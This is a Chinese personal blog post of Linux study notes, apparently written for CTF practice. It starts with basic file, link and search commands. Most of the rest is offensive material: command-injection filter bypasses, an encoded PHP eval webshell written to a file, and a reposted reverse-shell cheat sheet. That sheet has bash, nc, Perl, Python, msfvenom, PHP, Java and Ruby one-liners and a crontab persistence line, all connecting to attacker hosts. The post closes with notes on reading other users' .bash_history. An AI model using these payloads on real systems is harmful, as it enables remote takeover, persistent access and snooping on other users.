从零开始的linux学习
前言
这个随便写的,看到好用的奇淫技巧就会放在这里,本来是草稿,不知道怎么按错了就发出来了。。。会持续更新的。至于时间,看心情吧。
目录:
rm -rf 删除文件
-r 删除目录
-f 强制执行
而rmdir只能删除空目录
cp -p 复制文件
cp -r 复制目录
链接的指令:
软链接:ln -s issue.bak issue.bak.soft
硬链接:ln /tmp/issue.bak /boot/issue.bak.hard
软链接和硬链接的区别:
软链接:
(1)软链接的开头权限是lrwxrwxrwx
(2)文件大小-只是符号链接 软链接非常的小
(3)/tmp/issue.soft -> /etc/issue 箭头指向源文件
(4)删除源文件,软链接无法访问
硬链接:
(1)和cp -p很像,但是它会和源文件同步更新(软连接也是这样)
(2)删除源文件,硬链接依旧可以运行
(3)硬链接无法跨分区
2.搜索命令
命令名称:find
命令权限:所有用户
语法: find 【所有范围】【匹配条件】
功能描述: -iname 不匹配大小写
-name 匹配大小写
-size 指定文件的大小
例子: find /etc -name init (全词匹配) find /etc -name *init* (所有含有init的文件名都对)
find /etc -name in?? (可以匹配到)
命令名称:loacte
命令权限:所有用户
语法:loacte 文件名
功能描述:
在文件资料库中查找文件
例子: locate test.php
补充:因为文件资料库是定期更新的,所以新创建的文件可能找不到。更新资料库用updatedb命令。但/tmp临时目录下的文件还是找不到。
命令名称:grep
命令所在路径:/bin/grep
执行权限:所有用户
语法:grep -iv 【指定字符串】【文件】
功能: -i 不区分大小写
-v 排除指定字符串
例子:
grep mysql /root/install.log
grep -v ^# /root/install.log
grep peace bible.txt | grep love (有含有peace和love的行。先找含有peace的,后找其中含有love的。)
grep -r flag /* (全盘搜索所有含有flag的文件。)
查看服务器的公网ip地址
dig +short myip.opendns.com @resolver1.opendns.com curl ident.me
若是没有 dig ,安装方法:
yum install bind-utils
1.空格过滤
<,<>,%20(url),%09(tab的php环境),$IFS,$IFS$1(1可以换成任意数字), $IFS,{IFS}等
2.一些命令分隔符
linux中:%0a,%0d,;,&,|,&&,||
windows中:%0a,&,|,%1a(作为.bat的命令分隔符)
3.花括号的别样用法
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
如:{cat,flag}
4.黑名单绕过
(1)拼接绕过 a=l;b=f;$a$b (2)编码绕过 base64: echo “Y2F0IC9mbGFn”|base64-d|bash >cat /flag hex: echo “636174202f666c6167” | xxd -r -p|bash >cat /flag oct: $(printf “\154\163”) >ls $(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) >cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 >cat /flag #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} > 1.php
(3)单引号和双引号绕过
如:ca''t /flag 或者 ca""t /flag
(4)反斜杠绕过
如: ca\t /fl\ag
(5)利用shell特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
@表示( @表示(@表示(@:同样也是获取当前shell的参数,不加引号和∗是一样的,那么加了引号如:" *是一样的,那么加了引号如:"∗是一样的,那么加了引号如:"@" 表示将所有的参数视为不同独立的字符串,相当于"$1" "2"..)<br>比如:ca 2"..)<br>比如:ca2"..)<br>比如:ca@t fla$@g
ca$1t fla$2g
(6)通配符
5.linux中直接查看文件内容的命令
cat,tac,more,less,head,tail,nl,sed,sort,uniq
6.linux下可以读取文件的几种方法
- $ ca\t /fla\g 使用反斜线绕过
- $ cat /fl''ag 使用两个单引号绕过
- $ cat /fla[a-z] 用[]正则匹配绕过
- $ cat /fl*g 用 * 匹配任意字符
- $ echo "Y2F0IC9mbGFn"| base64 -d | bash base64编码绕过
- $ echo "636174202f666c6167" | xxd -r -p | bash hex编码绕过
- $ cat `ls` 不讲道理的内联执行
运行结果:

Z神也太强了吧!留一份备份吧。(转载自Z神的博客)
0x01 bash版本:
bash -i >& /dev/tcp/attackerip/1234 0>&1
注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。
0x02 nc版本:
支持-e选项
nc -e /bin/sh attackerip 1234
这个方式最简单
不能使用-e选项时:
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/
安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f
0x03 Telnet版本:(nc不可用或/dev/tcp不可用时)
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
0x04 Perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x05 Python版本:
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
另外的形式:
python2 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
0x06 php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
0x07 java版本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
0x08 ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
0x09 crontab定时任务:
这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考Crontab定时任务配置
* * * * * /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1
最后其实发现,虽然形式不同,但是其实都是基于/bin/bash和/bin/sh
0x10 参考:
刚开始学linux下的时候我没怎么在意目录以为和windows差不多,都无所谓的。但是 P神 的一篇博客直接打醒了我,linux目录分工明确,只有理解它们的作用才能更好的理解linux。
/bin 存放二进制可执行命令,常用命令一般都在这里 /dev 设备特殊文件 /etc 系统管理和配置文件 /etc/rc.d 启动所需的配置文件和脚本 /home 用户主目录的基点,比如user的主目录就是/home/user,可以用~user表示。 /lib 标准程序设计库,又叫动态链接共享库,作用类似windows里的.dll /sbin 超级管理命令,这里存放的是系统管理员使用的管理程序。 /tmp 公共的临时文件储存点 /root 系统管理员的主目录 /mnt 系统提供这个目录就是让用户临时挂载其他文件。 /lost+found 这个目录平时是空的,系统非正常关机而留下"无家可归"的文件就在这里 /proc 虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息。 /var 某些大文件的溢出区,比方说各种服务的日志文件 /usr 用于存放系统应用程序,比较重要的目录。要用到的应用程序和文件几乎都在这个目录 /usr/local 本地系统管理员软件安装目录。(安装系统级的应用) /usr/x11R6 存放 x windows的目录 /usr/bin 众多的应用程序 /usr/sbin 超级用户的一些管理程序 /usr/doc linux文档 /usr/include linux下开发和编译应用程序所需要的头文件 /usr/lib 常用的动态链接库和软件包的配置文件 /usr/man 帮助文档 /usr/src 源代码,linux内核的源代码就在/usr/src/linux里。 /usr/local/bin 本地增加的命令 /usr/local/lib 本地增加的库
先休息下。( ‘-ωก̀ )
我学会了我学会了!(其实什么都不懂)
很多人都说/etc/passwd是个很重要的文件,但是为什么重要呢?我们来分析一下它的结构:
第一列为账户名称
第二列为密码占位符(x表示该账户需要密码才能登录,为空时,账户无须密码即可登录)
第三列为账户UID
第四列为GID
第五列为账户附加基本信息,一般存储账户名全称,联系方式等信息
第六列为账户家目录位置
第七列为账户登录Shell,/bin/bash为可登录系统Shell,/sbin/nologin表示账户无法登录系统。另外,可以到它的具体目录下,有一个.bash_history文件。这个文件中包含了这个用户所有执行过的bash命令(可能被删除)。
示例:

这里的 couchdb 用户就有 bash 执行命令的权限,这里切换到 /var/lib/couchdb 文件夹。

可以看到有一个 .bash_history (如果该用户没有执行过命令或者删除了历史记录则没有)。读取:

嘿嘿,这样就可以看看其他的用户执行过什么命令了,这应该是SSRF的基本操作吧?

浙公网安备 33010602011771号